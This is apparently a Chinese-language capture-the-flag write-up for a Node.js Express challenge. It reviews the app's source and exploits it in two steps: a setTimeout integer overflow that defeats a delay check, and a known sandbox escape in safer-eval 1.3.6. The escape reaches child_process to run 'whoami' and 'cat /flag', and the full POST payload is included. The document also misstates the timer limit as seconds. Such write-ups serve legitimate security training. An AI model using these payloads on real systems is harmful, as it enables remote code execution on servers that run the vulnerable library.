1. 首页
查看版本:
1 2 3 4 5 6 7 8 9 10 11
| { "name": "src", "version": "1.0.0", "main": "index.js", "license": "MIT", "dependencies": { "body-parser": "1.19.0", "express": "4.17.1", "safer-eval": "1.3.6" } }
|
查看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| const express = require('express'); const bodyParser = require('body-parser');
const saferEval = require('safer-eval');
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json());
app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) {
} }, 1000); } else { next(); } });
app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response)); });
app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); });
app.get('/version', function (req, res) { res.set('Content-Type', 'text/json;charset=utf-8'); res.send(fs.readFileSync('./package.json')); });
app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); res.send(fs.readFileSync('./index.html')) })
app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
|
F12查看网页源码,注意到:
1 2 3 4 5 6 7 8 9 10 11
| <script> document.getElementById('submit').addEventListener('click', function () { const e = document.getElementById('delay').value; fetch(`/eval?delay=${document.getElementById('e').value}`, { body: new URLSearchParams({ e }), method: 'POST' }).then(v => v.text()).then(v => { document.getElementById('res').innerHTML += e + '=' + v + '<br/>' }); }); </script>
|
2. 思路
一般对于这种扫描目录啥的都没有用的,可能就是这个为某一个框架,并且该框架有对某一特定版本出现的漏洞。
针对这个,看到敏感信息:
1 2 3
| const saferEval = require('safer-eval');
"safer-eval": "1.3.6"
|
搜一下该1.3.6版本,发现存在该版本下的safe-eval
沙箱逃逸
https://github.com/commenthol/safer-eval/issues/10
exp:
1 2 3 4 5 6 7 8 9
| const saferEval = require("./src/index");
const theFunction = function () { const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("whoami").toString() }; const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
|
payload:
1 2 3 4 5
| (function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
|
3. 代码审计
无关代码,分别对应页面的源码链接,版本链接和首页。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); });
app.get('/version', function (req, res) { res.set('Content-Type', 'text/json;charset=utf-8'); res.send(fs.readFileSync('./package.json')); });
app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); res.send(fs.readFileSync('./index.html')) })
|
重要信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) {
} }, 1000); } else { next(); } });
|
浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由,所以利用溢出就可以成功绕过timeout;
payload1:
大于2147483647就可以不超时,所以设置为2147483648就可以了(会被settimeout设置为1,这样就满足条件了)
或者:
payload2:
利用int溢出的方法来绕过,利用科学计数法构造delay=99999999e999
沙箱逃逸:
1 2 3 4 5 6 7 8 9 10 11
| app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response)); });
|
就是利用上面特地版本漏洞的payload
4. 抓包上传参数
1 2 3 4 5
| POST /eval?delay=2147483648 HTTP/1.1
e=(function () { const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
|